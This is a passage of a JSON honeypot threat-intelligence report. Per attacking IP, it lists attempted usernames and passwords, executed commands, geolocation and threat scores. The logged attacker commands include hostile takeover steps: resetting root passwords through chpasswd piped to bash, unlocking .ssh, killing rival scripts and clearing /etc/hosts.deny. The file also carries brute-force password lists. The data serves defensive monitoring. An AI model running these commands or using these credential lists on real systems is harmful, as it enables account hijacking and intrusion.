        "last_seen_30d": "2026-04-28T10:37:21.099000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "181.49.8.57": {
      "attack_count": 212,
      "first_seen": "2026-04-06T18:55:04.130Z",
      "last_seen": "2026-04-06T19:30:21.184Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "hik",
        "odoo",
        "test",
        "345gs5662d34",
        "claude",
        "dmdba",
        "git",
        "teamspeak3"
      ],
      "passwords_attempted": [
        "1",
        "1qazxsw2#",
        "3245gs5662d34",
        "345gs5662d34",
        "Claude27",
        "Florinlaur2025",
        "Hik@2025",
        "Password123",
        "Qwert123456!",
        "Root!@#456",
        "Root2026$",
        "Root26",
        "ZAQ!2wsx$",
        "gittest",
        "manager",
        "odoo8",
        "root",
        "ts3user",
        "ubuntu@1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Hik@2025\\na5uabgxX2eJM\\na5uabgxX2eJM\\n\"|passwd",
        "echo \"root:FtM5v2DY3jJp\"|chpasswd|bash",
        "echo -e \"Hik@2025\\na5uabgxX2eJM\\na5uabgxX2eJM\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 14080,
      "as_org": "Telmex Colombia S.A.",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T18:55:04.130000+00:00",
        "last_seen_30d": "2026-04-06T19:31:21.721000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 44
      }
    },
    "152.32.135.217": {
      "attack_count": 204,
      "first_seen": "2026-04-26T07:20:55.497Z",
      "last_seen": "2026-04-26T07:52:53.000Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "super",
        "test",
        "345gs5662d34",
        "agotoz",
        "bot",
        "crafty",
        "deployop",
        "dev",
        "mysql",
        "n8n",
        "runner",
        "seekcy",
        "sysadmin",
        "test3",
        "ubuntu",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "#EDC4rfv%TGB",
        "123123",
        "3245gs5662d34",
        "345gs5662d34",
        "666666",
        "741852",
        "Admin2026!@#",
        "Admin6",
        "Bot2026",
        "Joysuch@Locate2020",
        "P@ssw0rd1",
        "Rahul123",
        "User29",
        "agotoz",
        "asdfgh",
        "centreon",
        "crafty",
        "deployop",
        "dev15!",
        "lol"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"super\\nHofjhVZUndrv\\nHofjhVZUndrv\\n\"|passwd",
        "echo -e \"super\\nHofjhVZUndrv\\nHofjhVZUndrv\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T07:20:55.497000+00:00",
        "last_seen_30d": "2026-04-26T07:53:58.060000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 64
      }
    },
    "103.183.74.4": {
      "attack_count": 197,
      "first_seen": "2026-04-01T06:43:10.045Z",
      "last_seen": "2026-04-01T07:31:11.380Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "claude",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "2019.com.cn",
        "Azureuser123",
        "Izhenqi(!@#)2024",
        "Qq111111",
        "claude",
        "claude123",
        "edong123",
        "hbol",
        "huanmu147258",
        "qwe123QWE",
        "soft.v01.cn",
        "vr123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"claude\\nTRc8HfGOsePI\\nTRc8HfGOsePI\\n\"|passwd",
        "echo \"root:Y6WOhL2MyAHL\"|chpasswd|bash",
        "echo -e \"claude\\nTRc8HfGOsePI\\nTRc8HfGOsePI\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 236,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T06:43:10.045000+00:00",
        "last_seen_30d": "2026-04-01T07:32:19.567000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 197,
        "Suricata": 39
      }
    },
    "62.171.140.68": {
      "attack_count": 188,
      "first_seen": "2026-04-04T07:36:39.409Z",
      "last_seen": "2026-04-04T08:45:17.034Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "frappe",
        "jenkins",
        "kiran",
        "monitor",
        "postgres",
        "rita",
        "teamspeak",
        "test"
      ],
      "passwords_attempted": [
        "00000000",
        "12345@zxcv",
        "3245gs5662d34",
        "345gs5662d34",
        "369369",
        "BBcc111",
        "P@ssw0rd10",
        "Postgres02!",
        "Qazwsx6666#",
        "Root123123!!",
        "ZAQ!2wsx2021!@#",
        "abcd4321",
        "admin2026",
        "frappe111",
        "hzhg@123654",
        "jenkins@2025",
        "kiran@123",
        "minecraftserver",
        "monitor@2026",
        "q1w2e3r4!@#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:TMylbvDkUIfE\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 253,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T07:36:39.409000+00:00",
        "last_seen_30d": "2026-04-04T08:46:19.549000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 65
      }
    },
    "123.58.213.160": {
      "attack_count": 179,
      "first_seen": "2026-04-15T00:38:55.994Z",
      "last_seen": "2026-04-15T01:19:01.342Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "actions",
        "user",
        "345gs5662d34",
        "bot",
        "ftpuser",
        "oracle",
        "peer",
        "postgres",
        "steam",
        "user1",
        "useruser"
      ],
      "passwords_attempted": [
        "12344321",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa.147258",
        "Ftpuser31",
        "Lq123456",
        "Oracle7",
        "Pa$$w0rd",
        "Root2023",
        "Tc123456",
        "User21!",
        "a123456/",
        "abcd1234",
        "actions",
        "bot2026!@#",
        "cy123456.",
        "peer2026",
        "qazwsx9999@",
        "qwe_123",
        "qwerty!123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"actions\\nSfPWskl1sKjU\\nSfPWskl1sKjU\\n\"|passwd",
        "echo -e \"actions\\nSfPWskl1sKjU\\nSfPWskl1sKjU\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 234,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T00:38:55.994000+00:00",
        "last_seen_30d": "2026-04-15T01:20:09.961000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 179,
        "Suricata": 55
      }
    },
    "175.166.118.42": {
      "attack_count": 152,
      "first_seen": "2026-04-15T11:13:56.022Z",
      "last_seen": "2026-04-15T11:19:34.409Z",
      "sessions": 76,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 229,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T11:13:56.022000+00:00",
        "last_seen_30d": "2026-04-15T11:20:42.252000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 152,
        "Suricata": 77
      }
    },
    "209.99.185.195": {
      "attack_count": 144,
      "first_seen": "2026-04-25T15:44:08.521Z",
      "last_seen": "2026-04-25T16:35:09.273Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "bot",
        "deploy",
        "frappe",
        "ftpuser",
        "github",
        "milad",
        "postgres",
        "teamspeak",
        "user"
      ],
      "passwords_attempted": [
        "1",
        "123123",
        "1234qwer",
        "12356",
        "Aa123456!!!",
        "Bot16",
        "Frappe06",
        "Frappe06!",
        "MoeClub.org",
        "P@55w0rd",
        "Qwerty12345!",
        "Steam12345",
        "Teamspeak2026",
        "a1234567",
        "aA12345678",
        "qwertyasdfgh",
        "steam09!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Bot16\\nJ6RlF34DslwQ\\nJ6RlF34DslwQ\\n\"|passwd",
        "echo -e \"Bot16\\nJ6RlF34DslwQ\\nJ6RlF34DslwQ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 402253,
      "as_org": "SKN Subnet & Telecom Ltd",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 188,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T15:44:08.521000+00:00",
        "last_seen_30d": "2026-04-25T16:36:10.476000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 44
      }
    },
    "144.31.137.190": {
      "attack_count": 140,
      "first_seen": "2026-04-20T17:18:30.510Z",
      "last_seen": "2026-04-20T18:11:49.774Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "shin",
        "345gs5662d34",
        "prod",
        "steam",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        ".1Password",
        "1111",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin12!@",
        "XXqq000",
        "a123456t",
        "prod123",
        "qazWSX123",
        "qwerty121",
        "root11111!!",
        "shin",
        "ubuntu13!",
        "user@2025"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"shin\\nUm1RDU4beo6K\\nUm1RDU4beo6K\\n\"|passwd",
        "echo -e \"shin\\nUm1RDU4beo6K\\nUm1RDU4beo6K\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 213877,
      "as_org": "U1 Digital Services Ltd",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T17:18:30.510000+00:00",
        "last_seen_30d": "2026-04-20T18:16:52.914000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 140,
        "Suricata": 46
      }
    },
    "3.143.162.210": {
      "attack_count": 72,
      "first_seen": "2026-04-05T04:42:48.568Z",
      "last_seen": "2026-04-30T03:32:17.997Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3849,
        "days_active_30d": 30,
        "ports_targeted_30d": 136,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T17:51:29+00:00",
        "last_seen_30d": "2026-04-30T17:43:05.259000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2538,
        "Honeytrap": 1039,
        "Cowrie": 72,
        "Dionaea": 67,
        "Mailoney": 55,
        "Redishoneypot": 40,
        "ConPot": 10,
        "Tanner": 10,
        "Honeyaml": 6,
        "ElasticPot": 4,
        "Ipphoney": 3,
        "Ciscoasa": 2,
        "H0neytr4p": 2,
        "CitrixHoneypot": 1
      }
    },
    "35.205.3.185": {
      "attack_count": 72,
      "first_seen": "2026-04-28T07:44:57.821Z",
      "last_seen": "2026-04-28T07:45:49.170Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36",
        "b'\\xeb\\xf4K\\xfc@\\xb7u\\x01d\\xf1S'"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 5035",
        "Host: 172.105.186.117:23",
        "b'\\xa7t*\\x07\\x1b\\xe4o\\xd4\\\\\\xb1\\xfd\\xfe'"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 31.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T07:44:57.821000+00:00",
        "last_seen_30d": "2026-04-28T07:46:58.597000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "34.140.236.186": {
      "attack_count": 71,
      "first_seen": "2026-04-20T09:59:02.822Z",
      "last_seen": "2026-04-20T10:00:01.299Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 6563",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T09:59:02.822000+00:00",
        "last_seen_30d": "2026-04-20T10:01:10.894000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "107.182.128.210": {
      "attack_count": 60,
      "first_seen": "2026-04-30T19:25:26.627Z",
      "last_seen": "2026-04-30T19:35:27.136Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 399471,
      "as_org": "Des Equity LLC",
      "threat_score": 32.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:25:26.627000+00:00",
        "last_seen_30d": "2026-04-30T19:36:28.499000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 33
      }
    },
    "169.48.121.226": {
      "attack_count": 60,
      "first_seen": "2026-04-30T19:22:42.660Z",
      "last_seen": "2026-04-30T19:26:15.936Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 36351,
      "as_org": "IBM Cloud",
      "threat_score": 32.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:22:42.660000+00:00",
        "last_seen_30d": "2026-04-30T19:27:22.059000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 32
      }
    },
    "110.39.251.209": {
      "attack_count": 50,
      "first_seen": "2026-04-04T19:15:09.830Z",
      "last_seen": "2026-04-04T19:20:34.730Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T19:15:09.830000+00:00",
        "last_seen_30d": "2026-04-04T19:21:39.605000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "144.48.130.65": {
      "attack_count": 50,
      "first_seen": "2026-04-01T08:03:04.531Z",
      "last_seen": "2026-04-01T08:08:29.022Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T08:03:04.531000+00:00",
        "last_seen_30d": "2026-04-01T08:09:37.116000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "180.244.187.142": {
      "attack_count": 48,
      "first_seen": "2026-04-27T01:42:33.080Z",
      "last_seen": "2026-04-27T01:47:44.669Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Bekasi",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 73,
